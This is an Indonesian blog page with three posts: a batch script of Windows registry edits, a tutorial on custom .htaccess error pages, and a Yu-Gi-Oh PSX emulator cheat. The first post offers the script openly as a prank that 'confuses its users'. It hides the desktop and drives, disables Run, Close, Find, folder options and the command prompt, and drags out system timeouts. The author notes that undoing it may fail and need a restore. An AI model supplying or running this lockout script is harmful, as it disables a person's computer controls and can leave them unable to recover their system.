@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFind" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoPrinterTab" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDeletePrinter" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoAddPrinter" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDesktop" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoRun" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoClose" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoViewContextMenu" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFind" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoUserNameInStartMenu" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoDrives" /t REG_DWORD /d "16" /f
@REG ADD "HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer" /v "NoFolderOptions" /t REG_DWORD /d "1" /f
@REG ADD "HKEY_CURRENT_USER\Control Panel\Desktop" /v "MenuShowDelay" /t REG_SZ /d "111111" /f
@REG ADD "HKEY_CURRENT_USER\Control Panel\Desktop" /v "HungAppTimeOut" /t REG_SZ /d "111111" /f
@REG ADD "HKEY_CURRENT_USER\Control Panel\Desktop" /v "WaitToKillAppTimeout" /t REG_SZ /d "1111111" /f
@reg add "HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\System" /v "DisableCMD" /t REG_DWORD /d "1" /f
=======================================================================

Kemudian save dengan nama bebas berekstensikan bat conohnya begini "contoh.bat" kemudian pada type file, pilih all files bukan text file.
Lalu save.
Kemudian buka explorer cari program tadi lalu klik kanan open deh,,, Selamat mencoba resiko tanggung sendiri, untuk inversnya tinggal ganti yang nilainya 1 jadi 0 kecuali yang 1000000 ganti aja jadi 100 biar cepet.
Kalo gagal mengembalikan jadi semua mungkin anda perlu mencari program lain atau me-restore komputer anda ^_^ .
Sebenarnya ada beberapa lagi baris kodenya tapi yang ini juga dah cukup memusingkan penggunanya.
Semoga bermanfaat

Powered by Danz

Membuat Custom Error 404 Dengan .htaccess

Jika pada posting sebelumnya kita mempelajari tentang mengaktifkan register_globals dengan .htaccess, sekarang kita akan membuat pesan custom sendiri untuk error seperti 404, 403 dan sebagainya dengan .htaccess.
Untuk memulai kita buka dulu file .htaccess yang dulu dibuat atau jika belum buat anda buat file berinama .htaccess dengan bertipe file dan simpan di folder atau tempat root website anda.
Untuk custom error 404 kita ketika pada htacces perintah

ErrorDocument 404 /error-docs/404.shtml
dengan catatan /error-docs/404.shtml adalah file yang dipanggil ketika error terjadi, anda dapat menentukan sendiri kemana file yang akan di eksekusi jika terjadi error 404 di server.
untuk error yang lain juga sama misal untuk error 403 tinggal ketik ErrorDocument 403 lalu diikuti file yang akan di eksekusi jika terjadi error.
Ok Sekian saja dari saya kurang lebihnya, jika kurang mohon maaf jika lebih mohon dikembalikan, Semoga bermanfaat.


Powered by Danz

Mendapatkan 722 Kartu Di Yugi Oh PSX

Untuk anda yang bingun cara mendapatkan 722 kartu di Yugi Oh Forbidden Memories untuk PSX saya ada cara alternatif tapi cara ini berlaku untuk emulator PSX di PC dengan bantuan PSX Cheater yang telah saya posting sebelumnya. Untuk di PSX nya sendiri saya tidak tahu apakah bisa atau tidak.
Pertama seperti biasa anda run dulu program PSX Cheater nya lalu pilih Game Yugi Oh Forbidden Memories lalu centang hanya yang have 722 card, yang lainnya jangan centang apapun lagi.
Lalu seperti biasa send to plugin dan masukan CD Gamenya lalu run PSX Emulatornya. Lalu pilih new game atau bisa juga di load game lalu lihat di library nya, jika berhasil maka 722 kartu telah terbuka telah anda miliki.
Lalu save game agar nanti anda tidak perlu game shark lagi dan agar emulator tidak berat kerjanya.
Cara ini mungkin fifty fifty antara bekerja atau tidak. jika bekerja anda akan sampai ke menu utama seperti biasa, tapi jika gagal maka tidak akan sampai di menu utama dan bila terjadi ulangi untuk mencheatnya.
Semoga membantu.

Powered by Danz

Trend Minggu Ini